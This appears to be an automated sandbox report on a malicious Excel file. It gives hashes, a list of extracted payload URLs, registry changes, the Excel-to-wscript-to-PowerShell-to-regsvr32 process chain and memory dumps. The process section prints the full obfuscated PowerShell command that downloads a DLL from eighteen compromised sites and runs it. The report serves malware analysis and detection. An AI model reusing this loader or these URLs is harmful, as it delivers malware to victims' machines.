Analysis
-
max time kernel
101s -
max time network
45s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
25-01-2023 08:09
Behavioral task
behavioral1
Sample
508be46ec5246b1d5ce1aaa4593c43c8.xls
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
508be46ec5246b1d5ce1aaa4593c43c8.xls
Resource
win10v2004-20221111-en
General
-
Target
508be46ec5246b1d5ce1aaa4593c43c8.xls
-
Size
438KB
-
MD5
508be46ec5246b1d5ce1aaa4593c43c8
-
SHA1
f597d8e1b22a35c77e296c95187e974a2ce3ba20
-
SHA256
11ed21044757efeacdfb3e2b08f35c7ea473f0698b8455655dc115bf30be11db
-
SHA512
af9768b260914561dcc9150ae1d14cd5c4ed6f09e85d21f3224a90cec802d9689f55ee0461564f5fda37ab564867dbd06c89214327cebba49c3c6f0f7eeb6e1a
-
SSDEEP
12288:q947a/JjsLZjXYc7X0/aXCKli04OaZ1XAYThF0:gurYc7E/i004OS1ThF0
Malware Config
Extracted
https://wildmanwildfood.com/wp-admin/wxyadXKXFe/
https://ashven.co.uk/wp-includes/UwBairqGXVb11tCu/
https://aigenix.comartstudios.com/cgi-bin/ZZ8HCNr40H/
https://fastonlineearn.com/wp-content/L/
https://mbmscaffolding.co.uk/test/3j/
https://ineslebuhan.com/wp-includes/7dLR8UB3RFfSHd4cZN/
https://mccoygloballinks.com/cgi-bin/HvZWLrLljiRj2ck/
http://lonaomer.com/wp-content/6G/
https://tainformado.com.br/wp-content/0Ysot/
https://nifdtb.in/wp-content/9uHo3GBgyIQ/
https://sdn3sajen.stormapp.in/wp-admin/Xc6Z/
https://narsanat.com/banner/TnIhz/
https://vanessanascimento.com.br/auren-xbox/cDD2dfW/
https://medvital.com.br/arquivos/q6ZjbPPoR7l/
https://mcjalandhar.in/1950-kill/BMoLHJM4g/
https://nuranabd.com/wp-content/BhYOZ2pJV5q/
https://sdigitaltv.online/wp-admin/rpRCArrXjpoUXo/
http://news.leta.com.vn/-/NQOY80o/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
wscript.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1296 1532 wscript.exe EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Office loads VBA resources, possible macro or embedded object present
-
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Processes:
EXCEL.EXEdescription ioc process Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE -
Modifies registry class 64 IoCs
Processes:
EXCEL.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3} EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389} EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{0EF415BF-4831-49C6-91EA-B0E418365F2B}\2.0 EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01} EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597} EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\ = "_UserForm" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\ = "Tab" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Interface EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF} EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D} EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLText" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074} EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}\ = "Tabs" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\ = "MdcListEvents" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{0EF415BF-4831-49C6-91EA-B0E418365F2B}\2.0\FLAGS\ = "6" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF} EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcOptionButton" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D} EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01} EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080} EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776} EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\ = "IMultiPage" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\TypeLib\{0EF415BF-4831-49C6-91EA-B0E418365F2B}\2.0\ = "Microsoft Forms 2.0 Object Library" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}\ = "Pages" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01} EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3} EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3} EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}\ = "IReturnEffect" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF} EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D} EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389} EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF} EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29} EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9} EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F} EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{0EF415BF-4831-49C6-91EA-B0E418365F2B}\2.0\0 EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}" EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1532 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1328 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1328 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
EXCEL.EXEpid process 1532 EXCEL.EXE 1532 EXCEL.EXE 1532 EXCEL.EXE -
Suspicious use of WriteProcessMemory 19 IoCs
Processes:
EXCEL.EXEwscript.execmd.exedescription pid process target process PID 1532 wrote to memory of 1296 1532 EXCEL.EXE wscript.exe PID 1532 wrote to memory of 1296 1532 EXCEL.EXE wscript.exe PID 1532 wrote to memory of 1296 1532 EXCEL.EXE wscript.exe PID 1532 wrote to memory of 1296 1532 EXCEL.EXE wscript.exe PID 1296 wrote to memory of 1328 1296 wscript.exe powershell.exe PID 1296 wrote to memory of 1328 1296 wscript.exe powershell.exe PID 1296 wrote to memory of 1328 1296 wscript.exe powershell.exe PID 1296 wrote to memory of 1328 1296 wscript.exe powershell.exe PID 1296 wrote to memory of 1380 1296 wscript.exe cmd.exe PID 1296 wrote to memory of 1380 1296 wscript.exe cmd.exe PID 1296 wrote to memory of 1380 1296 wscript.exe cmd.exe PID 1296 wrote to memory of 1380 1296 wscript.exe cmd.exe PID 1380 wrote to memory of 672 1380 cmd.exe regsvr32.exe PID 1380 wrote to memory of 672 1380 cmd.exe regsvr32.exe PID 1380 wrote to memory of 672 1380 cmd.exe regsvr32.exe PID 1380 wrote to memory of 672 1380 cmd.exe regsvr32.exe PID 1380 wrote to memory of 672 1380 cmd.exe regsvr32.exe PID 1380 wrote to memory of 672 1380 cmd.exe regsvr32.exe PID 1380 wrote to memory of 672 1380 cmd.exe regsvr32.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\508be46ec5246b1d5ce1aaa4593c43c8.xls1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\wscript.exewscript c:\programdata\etyockqw.vbs2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"https:dhjdhjwildmanwildfood.comdhjwp-admindhjwxyadXKXFedhjbouhttps:dhjdhjashven.co.ukdhjwp-includesdhjUwBairqGXVb11tCudhjbouhttps:dhjdhjaigenix.comartstudios.comdhjcgi-bindhjZZ8HCNr40Hdhjbouhttps:dhjdhjfastonlineearn.comdhjwp-contentdhjLdhjbouhttps:dhjdhjmbmscaffolding.co.ukdhjtestdhj3jdhjbouhttps:dhjdhjineslebuhan.comdhjwp-includesdhj7dLR8UB3RFfSHd4cZNdhjbouhttps:dhjdhjmccoygloballinks.comdhjcgi-bindhjHvZWLrLljiRj2ckdhjbouhttp:dhjdhjlonaomer.comdhjwp-contentdhj6Gdhjbouhttps:dhjdhjtainformado.com.brdhjwp-contentdhj0Ysotdhjbouhttps:dhjdhjnifdtb.indhjwp-contentdhj9uHo3GBgyIQdhjbouhttps:dhjdhjsdn3sajen.stormapp.indhjwp-admindhjXc6Zdhjbouhttps:dhjdhjnarsanat.comdhjbannerdhjTnIhzdhjbouhttps:dhjdhjvanessanascimento.com.brdhjauren-xboxdhjcDD2dfWdhjbouhttps:dhjdhjmedvital.com.brdhjarquivosdhjq6ZjbPPoR7ldhjbouhttps:dhjdhjmcjalandhar.indhj1950-killdhjBMoLHJM4gdhjbouhttps:dhjdhjnuranabd.comdhjwp-contentdhjBhYOZ2pJV5qdhjbouhttps:dhjdhjsdigitaltv.onlinedhjwp-admindhjrpRCArrXjpoUXodhjbouhttp:dhjdhjnews.leta.com.vndhj-dhjNQOY80odhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\irlkhkuw.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 32463){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\regsvr32.exe /s c:\programdata\irlkhkuw.dll3⤵
- Suspicious use of WriteProcessMemory
-
\??\c:\windows\syswow64\regsvr32.exec:\windows\syswow64\regsvr32.exe /s c:\programdata\irlkhkuw.dll4⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
\??\c:\programdata\etyockqw.vbsFilesize
2KB
MD5a35f55cf91f2003615533b5be5948090
SHA1b5b89075550e2592b69f4541cfbdf33dd8fbf175
SHA256d297bdfe7fdf74ffe50cad7965843bb92cd55b44370e1b7b8ddb99cf7ab3af7c
SHA512098097cd100b73f231b3c1bb3e8330a584b2b2742be8a27211ea9f9f7875c78b414341e626b5c071abc0589caf3a2ac80c99c79b952388cc96884fd33b397899
-
memory/672-118-0x0000000000000000-mapping.dmp
-
memory/1296-110-0x0000000000000000-mapping.dmp
-
memory/1328-113-0x0000000000000000-mapping.dmp
-
memory/1328-115-0x000000006B780000-0x000000006BD2B000-memory.dmpFilesize
5.7MB
-
memory/1328-116-0x000000006B780000-0x000000006BD2B000-memory.dmpFilesize
5.7MB
-
memory/1380-117-0x0000000000000000-mapping.dmp
-
memory/1532-82-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-61-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-58-0x0000000071F2D000-0x0000000071F38000-memory.dmpFilesize
44KB
-
memory/1532-64-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-63-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-62-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-85-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-60-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-59-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-65-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-76-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-75-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-78-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-77-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-74-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-73-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-72-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-71-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-70-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-69-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-68-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-67-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-66-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-79-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-80-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-86-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-84-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-83-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-81-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-57-0x0000000075091000-0x0000000075093000-memory.dmpFilesize
8KB
-
memory/1532-56-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/1532-87-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-88-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-89-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-91-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-90-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-92-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-94-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-93-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-96-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-97-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-95-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-98-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-99-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
